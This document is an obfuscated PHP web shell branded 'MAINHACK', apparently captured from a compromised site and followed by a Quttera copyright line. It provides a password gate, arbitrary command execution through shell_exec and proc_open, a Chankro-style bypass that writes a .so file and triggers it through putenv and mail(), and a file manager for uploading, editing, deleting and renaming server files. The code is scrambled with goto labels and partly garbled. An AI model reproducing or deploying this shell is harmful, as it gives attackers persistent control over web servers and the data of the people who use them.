AAAAAAAANgPIAAAAAAA2A8AAAAAAAAoAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANkAAAABAAAAAwAAAAAAAAAAECAAAAAAAAAQAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADiAAAAAQAAAAMAAAAAAAAAYBAgAAAAAABgEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA6AAAAAgAAAADAAAAAAAAAGgQIAAAAAAAaBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAO0AAAABAAAAMAAAAAAAAAAAAAAAAAAAAGgQAAAAAAAALQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAACYEAAAAAAAABgGAAAAAAAAGwAAAC0AAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAsBYAAAAAAABLAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAPsYAAAAAAAA9gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA="; goto ezad4; oaKWx: if (isset($_FILES["fileToUpload"])) { goto kwSCH; } goto frtBS; dnhYB: $R3e43 = "<hr><p>Result: <font color="black">base64 : " . $JIVOh . "</br>Please Refresh and Check File test.txt, this output command<br>test.txt created = VULN<br>test.txt not created = NOT VULN<br>example access: domain.com/yourpath/path/test.txt<br>MAINHACK</font><br><br></textarea>"; goto z2FtJ; y2v7D: echo "<hr>File created successfully!" . $qN9pk . " "; goto NEL30; OQcuD: if (isset($_POST["cmd_biasa"])) { goto k5oDj; } goto HAnvU; VV4me: goto qBGxG; goto Kxw0x; hl0ff: $scTTn($siSWV); goto sIyHh; vfyPe: if ($tQ8kS($BI2Yr, $CFTIa) !== false) { goto yWRme; } goto E1FFF; EJ6Hd: echo "<hr>"; goto YX4Cm; EM3b4: $mJiG1 = $neGXm(DIRECTORY_SEPARATOR, $mNuM0); goto U48Bs; so4Fv: $JIVOh = $g8PlK($VbrOJ . " > test.txt"); goto dnhYB; d0NY2: $g8PlK = "base64_encode"; goto VGKJZ; KgaN2: goto C5AkW; goto FGcqO; lLIGH: if (isset($_POST["edit_file"])) { goto jI9WY; } goto rDmdt; mRRko: $jsBlC = "stat"; goto qwq3Q; PbUb9: echo "<table border="5"><tbody>\xa<tr>
<td>\xa<center>Command BYPASS<form method="post" action="?" . (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : '') . "">
<input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form></center></td>\xa\xa<td><center>Command BIASA<form method="post" action="?" . (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : '') . "">
<input type="text" name="cmd_biasa" placeholder="Enter command"><input type="submit" value="Run Command"></form><center></td>

<td><center>Create Folder<form method="post" action="?" . (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : '') . "">
<input type="text" name="folder_name" placeholder="Folder Name"><input type="submit" value="Create Folder"></form><center></td>
<td><center>Create File<form method="post" action="?" . (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : '') . "">\xa<input type="text" name="file_name" placeholder="File Name"><input type="submit" value="Create File"></form></td></tr>\xa</tbody></table>"; goto Mnn9o; WyQ_X: TZtCk: goto zl2Ik; dr1wt: echo "<pre>Task dijalankan di background: {$icAo3}</pre>"; goto pVUmP; M9o59: Hrp31: goto y2v7D; z2FtJ: $lmYiL($n6VLX . "/chankro.so", $tYNdb($JOg_D)); goto TK_Q4; BaEaJ: echo "<hr><form method="post" enctype="multipart/form-data">"; goto EJ6Hd; NPq_C: $yzkr1 = "mkdir"; goto g824W; AXmuN: $t0kuH($jU5B0[1]); goto wLWBY; c8US9: $kWb0E = $mNuM0 . "/" . $tLeVE($_FILES["fileToUpload"]["name"]); goto zdMbX; PDEkV: echo "<hr>File Edited successfully! " . $_POST["edit_file"] . "<hr>"; goto U0SDo; Iriux: $Py3HA = $o9GNs($_SERVER["\x44\x4f\x43\x\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"]); goto xmYkH; gamGi: VT7V3: goto QmSY3; ICk9J: if (file_exists($nk3MU)) { goto bhGbO; } goto IZgB3; YLCnW: echo "<hr>File " . $KuAwk($tLeVE($_FILES["fileToUpload"]["name"])) . " Upload success<hr>"; goto UrWQu; OY5uA: $KuAwk = "htmlspecialchars"; goto z7teH; ezad4: $VbrOJ = $_POST["cmd_input"]; goto so4Fv; RYXgt: if (Nto5L($StsHa)) { goto a7Y6I; } goto zjvFO; FBubl: goto e81Vm; goto M9o59; vO__9: if (isset($_SESSION["logged_in"])) { goto Nd1Ef; } goto DiClr; nFORX: $scTTn = "proc_close"; goto JWAOT; hwEao: Y91Ur: goto gYKdp; iJKw_: EgjYV: goto W2PpR; zl2Ik: $StsHa = $mNuM0 . "/" . $_POST["delete_file"]; goto qd2AS; bEMuF: R69PU: goto Vwf_j; srqgv: echo "<input type="submit" value="Upload File" name="submit">"; goto hipCP; tBWDa: echo "<hr>DIR: "; goto EM3b4; hQvgI: T1YIm: goto qpXbg; a0c_o: goto jIn7G; goto JTOBw; Kxw0x: oybrV: goto tkjGZ; si19C: echo "<hr>Error: File or directory not found!"; goto Z2TdW; g824W: $fhupm = "file_get_contents"; goto rU0gL; LiNZe: echo "<hr>Error: Failed to create folder!"; goto KgaN2; s1Kpc: echo "<font color='black'>[ Function putenv() ] :<font color='red'> [ OFF ]</font><br>"; goto Ak6g6; ES7ra: fgmZy: goto b0Eub; Ak6g6: goto fgmZy; goto eWtgr; vjukv: goto Il8sa; goto cMqnk; JQHC2: shell_exec($icAo3); goto dr1wt; ujZwA: lA0Fu: goto j3LA1; YDdnh: ZFF42: goto eVPKv; G1dYa: if (rename($nk3MU, $rN_YF)) { goto oybrV; } goto RKmlg; ji2lL: echo "<hr>Error: File Already Exists!"; goto y4V26; PrAbX: $mNuM0 = $o9GNs(isset($_GET["d"]) ? $_GET["d"] : $Py3HA); goto Sa43U; wg__r: echo "<hr>Folder created successfully!"; goto zWa_i; kNM6l: QDaDG: goto RYXgt; Zbwkz: $OlxsI = $_POST["cmd_biasa"]; goto Jr8RF; cMqnk: XGALl: goto OE7IC; Sa43U: $rvTYR($mNuM0); goto uyqH9; PlcQz: echo "</table>"; goto nsZ7R; U48Bs: $z637l = ''; goto f8iSa; jJrcg: goto N0dc9; goto bEMuF; W2PpR: $_SESSION["logged_in"] = true; goto LtDq5; GzrZf: echo "<form method="POST">
                <input type="password" name="pass" placeholder="Enter password">
                <input type="submit" value="Login">
              </form>"; goto b4HVe; KZa35: ki926: goto RQhmh; zdMbX: if ($jzYXM($_FILES["fileToUpload"]["tmp_name"], $kWb0E)) { goto QqqQM; } goto k2N64; y3oJ8: if (file_exists($lU78q)) { goto a_DK5; } goto Ru7Xn; E1FFF: echo "<hr>Error: Failed Edit File! " . $_POST["edit_file"] . "<hr>"; goto Z4Oxr; UrWQu: jlj6t: goto rXl8H; y0V_H: echo "<hr>Folder deleted successfully!"; goto BQfKL; t35Zu: $n6VLX = $w6Y0T . $umNC6; goto l7fjX; Z2TdW: goto KT56f; goto Z52ts; z7teH: $tQ8kS = "file_put_contents"; goto NPq_C; NAkoi: $R3e43 = "<hr><p>Result: " . $qN9pk . "</p>\xa                    <form method="post" action="?" . (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : '') . "">\xa                    <textarea name="content" class="result-box">" . $KuAwk($LxDfZ) . "</textarea><td>
                    <input type="hidden" name="edit_file" value="" . $qN9pk . "">
                    <input type="submit" value=" Save "></form></td>"; goto m2Iom; qwq3Q: $ejyKZ = "is_dir"; goto TjCom; DpcY0: $vI6ZW("CHANKRO=" . $n6VLX . "/acpid.socket"); goto Y3jiq; u49wR: $MGaYd = "proc_open"; goto MyZl3; qf84g: $tncC4 = "mail"; goto fCzOJ; ShvT9: function Ws0so($Fn8B3) { $cRW3_ = "base_encode"; return $cRW3_($Fn8B3); } goto DTISc; fsdvX: a_DK5: goto UB88Z; ZsAPR: echo "<form method="POST">\xa    <input type="text" name="cmd" placeholder="Command untuk jalan di background" size="50">
    <input type="submit" value="Run">\xa</form>\xa<p>Output task disimpan di: <code>/tmp/cmd_output.log</code></p>\xa

.
.\xa.\xa.\xa.
.\xa.\xa.\xa.
.
.\xa.
.\xa.\xa.\xa.
.\xa.\xa.
.
.\xa.
.\xa.
.
.
.\xa.\xa.\xa.
.\xa.
.\xa.\xa.
.
.
.\xa.\xa.\xa.\xa.
.
.\xa.
.
.\xa.
.
.\xa.
.
.
.\xa.\xa.
.\xa.\xa.
.
.\xa.\xa.\xa.\xa.
.
.\xa.
.\xa.
.\xa.\xa.\xa.
.
.
.
.\xa.
.
.\xa.\xa.\xa.
.\xa.
.
.\xa.
.
.
.\xa.
.
.
.
.
.\xa.
.
.
.\xa.\xa.\xa.\xa.
.\xa.
.
.
.\xa.
.
.\xa.\xa.
.\xa.
.\xa.\xa.\xa.
.
.\xa.\xa.\xa.
.
.
.
.
.\xa.\xa.
.\xa.
.\xa.\xa.\xa.
.
.
.\xa.\xa.
.
.\xa.\xa.
.
.
.
.
.\xa.\xa.
.
.\xa.\xa.
.
.
.
.\xa.\xa.
.
.
.\xa.\xa.\xa.\xa.
.
.
.
.
.\xa.
.
.\xa.
.\xa.\xa.\xa.\xa.\xa.\xa.
.\xa.\xa.\xa.\xa.
.
.\xa.
.
.\xa.\xa.
.\xa.
.\xa.
.
.
.
.
.\xa.
.\xa.
.
.
.
.
.\xa.\xa.
.
.
.
.
.\xa.\xa.
.\xa.\xa.\xa.\xa.
.
.
.
.
.\xa.
.\xa.
.
.\xa.\xa.
.
.\xa.\xa.
.
.
.
.\xa.
.\xa.\xa.
.\xa.
.\xa.
.\xa.
.
.
.
.\xa.
.\xa.\xa.
.
.\xa.\xa.\xa.
.\xa.
.
.\xa.
.\xa.
.\xa.
.\xa.\xa.
.
.\xa.
.
.\xa.
.
.
.\xa.\xa.
.\xa.\xa.\xa.
.
.
.
.
.\xa.\xa.
.\xa.
.
.\xa.\xa.\xa.\xa.\xa.\xa.
.
.\xa.\xa.\xa.
.\xa.
.\xa.\xa.\xa.\xa.\xa.
.\xa.\xa.\xa.
.
.
.\xa.\xa.
.
.
.\xa.
.\xa.\xa.
.
.\xa.\xa.
.\xa.
.\xa.
.
.\xa.\xa.
.
.\xa.\xa.\xa.
.
.
.
.\xa.\xa.
.
.\xa.\xa.
.
.\xa.\xa.\xa.
.
.
.\xa.\xa.
.\xa.
.\xa.
.\xa.
.\xa.
.
.
.\xa.\xa.\xa.\xa.
.
.
.\xa.\xa.
.
.
.
.\xa.\xa.
.
.
.
.
.
.\xa.
.\xa.\xa.\xa.
.
.
.\xa.
.
.\xa.
.
.
.\xa.
.\xa.\xa.
.\xa.\xa.\xa.
.
.
.
.\xa.
.\xa.
.\xa.\xa.
.
.\xa.\xa.
.\xa.
.
.
.\xa.\xa.\xa.
.\xa.
.
.\xa.\xa.\xa.\xa.
.\xa.\xa.\xa.\xa.
.\xa.\xa.\xa.\xa.
.\xa.\xa.\xa.
.
.
.\xa.\xa.
.
.\xa.
.\xa.
.
.
.\xa.
.
.\xa.\xa.
.
.
.\xa.
.
.
.
.\xa.
.
.
.\xa.\xa.
.\xa.
.\xa.
.\xa.\xa.\xa.\xa.
.\xa.
.\xa.
.\xa.\xa.\xa.
.\xa.\xa.\xa.
.\xa.\xa.\xa.\xa.
.
.\xa.\xa.
.\xa.\xa.\xa.\xa.\xa.
.\xa.
.\xa.
.
.\xa.\xa.\xa.
.\xa.
.
.\xa.\xa.
.\xa.
.
.
.
.
.\xa.
.
.
.
.\xa.
.
.\xa.
.\xa.
.
.
.
.\xa.
.
.
.\xa.
.
.\xa.
.
.\xa.\xa.\xa.\xa.
.
.\xa.
.
.
.\xa.
.
.\xa.
.\xa.\xa.\xa.\xa.
.\xa.
.\xa.
.\xa.
.\xa.
.\xa.\xa.
.
.\xa.\xa.
.
.
.
.\xa.\xa.\xa.\xa.\xa.\xa.\xa.
.\xa.
.\xa.
.\xa.
.
.\xa.
.\xa.\xa.
.
.
.
.\xa.\xa.\xa.\xa.
.
.
.\xa.\xa.
.
.\xa.
.\xa.
.
.\xa.
.\xa.
.
.
.
.
.
.\xa.
.\xa.\xa.\xa.\xa.\xa.
.
.
.\xa.
.\xa.\xa.\xa.
.
.\xa.\xa.\xa.\xa.
.
.
.
.\xa.\xa.
.\xa.\xa.
.\xa.\xa.\xa.
.
.\xa.\xa.\xa.\xa.\xa.\xa.\xa.\xa.\xa.
.\xa.
.
.
.\xa.
.\xa.\xa.
.\xa.
.
.\xa.\xa.
.
.\xa.
.
.\xa.
.\xa.
.\xa.\xa.\xa.
.
.\xa.
.\xa.
.\xa.\xa.
.
.\xa.\xa.
.
.
.\xa.\xa.
.
.
.
.
.
.
.\xa.
.
.\xa.\xa.
.
.
.\xa.
.
.
.
.
.\xa.\xa.\xa.
.\xa.
.\xa.\xa.
.
.
.
.\xa.\xa.
.\xa.
.
.
.
.\xa.\xa.\xa.
.
.
.
.
.
.\xa.
.\xa.\xa.\xa.
.
.\xa.
.\xa.
.\xa.
.
.
.\xa.
.
.\xa.
.\xa.\xa.
.
.
.\xa.\xa.
.\xa.
.\xa.
.
.
.
.
.\xa.\xa.
.
.
<!DOCTYPE html>
<html>\xa<head>\xa    <title>MAINHACK</title>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">\xa    <meta name="robots" content="noindex, nofollow">\xa    <meta name="googlebot" content="noindex">\xa    <link href="https://fonts.googleapis.com/css?family=Arial%Black" rel="stylesheet">\xa    <style>
    body {
        font-family: 'Arial Black', sans-serif;\xa        color: #000;\xa        margin: 0;\xa        padding: 0;
        background-color: #2422c9;
    }\xa    .result-box-container {\xa        position: relative;\xa        margin-top: 20px;
    }\xa\xa    .result-box {\xa        width: 1%;
        height: 2px;
        padding: px;
        border: 1px solid #ddd;
        border-radius: 5px;\xa        background-color: #f4f4f4;
        overflow: auto;
        box-sizing: border-box;\xa        font-family: 'Arial Black', sans-serif;\xa        color: #333;
    }
\xa    .result-box::placeholder {
        color: #999;\xa    }\xa
    .result-box:focus {
        outline: none;
        border-color: #0000;
    }
\xa    .result-box::-webkit-scrollbar {
        width: 8px;
    }\xa
    .result-box::-webkit-scrollbar-thumb {\xa        background-color: #0000;\xa        border-radius:px;
    }
    .container {\xa        max-width: 90%;
        margin: 20px auto;\xa        padding: 20px;\xa        background-color: #ffffff;\xa        border-radius: px;
        box-shadow: 0 10px rgba(0, 0, 0, 0.1);\xa    }
    .header {\xa        text-align: center;\xa        margin-bottom:0px;
    }\xa    .header h1 {\xa        font-size: 24px;\xa    }\xa    .subheader {\xa        text-align: center;\xa        margin-bottom: 20px;
    }\xa    .subheader p {
        font-size: 16px;
        font-style: italic;
    }\xa    form {\xa        margin-bottom:0px;
    }
    form input[type="text"],
    form textarea {\xa        padding: 8px;
        margin-bottom:0px;
        border: 1px solid #000;\xa        border-radius:px;\xa        box-sizing: border-box;\xa        
    }
    form input[type="submit"] {
\xa        padding: 10px;\xa        background-color: #00;
        color: white;
        border: none;\xa        border-radius: 3px;
        cursor: pointer;\xa    }
    form input[type="file"] {
        padding: 7px;
        background-color: #0000;
        color: white;\xa        border: none;
        border-radius:px;\xa        cursor: pointer;\xa    }
    .result-box {\xa            width: 0%;
            height: 2px;
            resize: none;
            overflow: auto;\xa            font-family: 'Arial Black';\xa            background-color: #f4f4f4;\xa            padding: 10px;\xa            border:px solid #ddd;\xa            margin-bottom: px;
        }\xa    form input[type="submit"]:hover {
        background-color: #1430;
    }\xa    table {
        width: 0%;
        border-collapse: collapse;\xa        margin-top: 20px;\xa    }
    th, td {
        padding: 8px;\xa        text-align: left;\xa    }
    th {\xa        background-color: c5c5c;\xa    }
    tr:nth-child(even) {
        background-color: #9c9b9bce;
    }\xa    .item-name {\xa        max-width: 200px;\xa        overflow: hidden;\xa        text-overflow: ellipsis;
        white-space: nowrap;\xa    }\xa    .size, .date {\xa        width: 100px;\xa    }
    .permission {
        font-weight: bold;
        width: 50px;\xa        text-align: center;\xa    }
    .writable {
        color: #0db202;\xa    }\xa    .not-writable {\xa        color: #d60909;
    }
textarea[name="file_content"] {\xa            width: calcA00.9% - 10px);
            margin-bottom: px;\xa            padding: 8px;\xa            max-height: 0px;\xa            resize: vertical;
            border: 1px solid #ddd;\xa            border-radius: 3px;
            font-family: 'Arial Black';\xa        }
</style>\xa</head>
<body>
<div class="container">
"; goto jOBH_; xYy56: $neGXm = "explode"; goto RXbF4; Z52ts: vJ8ce: goto GuZrg; rr6i8: session_start(); goto iysxJ; H0w0E: $R3e43 = "Result:</p><textarea class="result-box">Error: Failed to execute command! </textarea>"; goto HWVW4; MKly1: goto Il8sa; goto LuCXL; dsJnS: $R3e43 = "<hr><p>Error: File not found!</p>"; goto jJrcg; NEL30: $MNwFI = $HMFpD; goto AdbzJ; kZgt_: $L6Eil = $mNuM0 . "/" . $Xz4U1; goto y3oJ8; JZS9E: goto T1YIm; goto LnYjD; fTzX4: jI9WY: goto fdczT; AUokE: goto qRrSl; goto kNM6l; fCzOJ: $tYNdb = "base_decode"; goto d0NY2; Jr8RF: $Pgrac = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]]; goto SbTbo; SryNQ: if (function_exists("mail")) { goto ZFF42; } goto RP1pI; dIfal: $doGtU = $jpVlP($jU5B0[2]); goto AXmuN; NN13M: if (!file_exists($HMFpD)) { goto Y91Ur; } goto ji2lL; Cf2uY: date_default_timezone_set($zBsCx); goto Iriux; TIu9J: echo "<hr>Error: Failed to create file!"; goto FBubl; qT8Ye: goto lA0Fu; goto YDdnh; EHwyH: $LxDfZ = $fhupm($MNwFI); goto sNU2T; k2N64: echo "<hr>Sorry, there was an error uploading your file.<hr>"; goto S3Vjq; f5XeT: Nd1Ef: goto I8Au3; fdczT: $BI2Yr = $mNuM0 . "/" . $_POST["edit_file"]; goto d1B7d; zR9LT: foreach ($YEz1s($mNuM0) as $TGSEI) { goto X7b2s; Z6brT: $pqE1G = $ejyKZ($TGSEI) ? "?d=" . wS0So($mNuM0 . "/" . $TGSEI) : "?" . ("d=" . Ws0so($mNuM0) . "&f=" . ws0So($TGSEI)); goto dnlAn; cY9xF: $iIqnj = $jsBlC($HsFMe); goto Z6brT; X7b2s: $HsFMe = $o9GNs($TGSEI); goto cY9xF; q4Xuj: echo "<tr>\xa            <td class="item-name"><a href="" . $pqE1G . "">" . $TGSEI . "</a></td>
            <td class="size">" . filesize($HsFMe) . "</td>
            <td class="date" style="text-align: center;">" . date("Y-m-d H:i:s", filemtime($HsFMe)) . "</td>\xa            <td class="permission " . ($js89h ? "writable" : "not-writable") . "">" . $ch6KY . "</td>\xa            <td><center><form method="post" action="?" . (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : '') . ""><input type="hidden" name="view_file" value="" . $KuAwk($TGSEI) . ""><input type="submit" value=" View "></form></center></td>\xa            <td><center><form method="post" action="?" . (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : '') . ""><input type="hidden" name="delete_file" value="" . $KuAwk($TGSEI) . ""><input type="submit" value="Delete"></form></center></td>
            <td><form method="post" action="?" . (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : '') . ""><input type="hidden" name="old_name" value="" . $KuAwk($TGSEI) . ""><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
        </tr>"; goto MsZSb; dZSgu: $js89h = $CoIK1($HsFMe); goto q4Xuj; MsZSb: TcrFq: goto OXqTM; dnlAn: $ch6KY = substr(sprintf("%o", fileperms($HsFMe)), -4); goto dZSgu; OXqTM: } goto sYntS; FgpUn: Esigd: goto LdJ3r; rU0gL: $MLjTB = "dirname"; goto q0iUH; nsZ7R: function nTo5L($vtqMS) { goto Xlw6s; QBq67: if (is_dir($vtqMS)) { goto DuH6e; } goto UqVtS; UqVtS: return $dXr_q($vtqMS); goto y2B2u; Xlw6s: $dXr_q = "unlink"; goto Z27ru; HEQOY: foreach ($YEz1s($vtqMS) as $qT30n) { goto VLARi; t_HDQ: VzccD: goto KDmfU; KklS4: goto y1HWL; goto F2XVd; iF8gt: if (nTo5l($vtqMS . DIRECTORY_SEPARATOR . $qT30n)) { goto VzccD; } goto hrpAR; VLARi: if (!($qT30n ==  || $qT30n == "..")) { goto RedM9; } goto KklS4; hrpAR: return false; goto t_HDQ; F2XVd: RedM9: goto iF8gt; KDmfU: y1HWL: goto z605I; z605I: } goto rxKBi; rxKBi: BWWCW: goto ueG5Z; Z27ru: if (file_exists($vtqMS)) { goto xRMSg; } goto IzFw4; IzFw4: return true; goto tyUiv; y2B2u: DuH6e: goto eU0ks; ueG5Z: return rmdir($vtqMS); goto cWMjS; tyUiv: xRMSg: goto QBq67; eU0ks: $YEz1s = "scandir"; goto HEQOY; cWMjS: }


© 2023 Quttera Ltd. All rights reserved.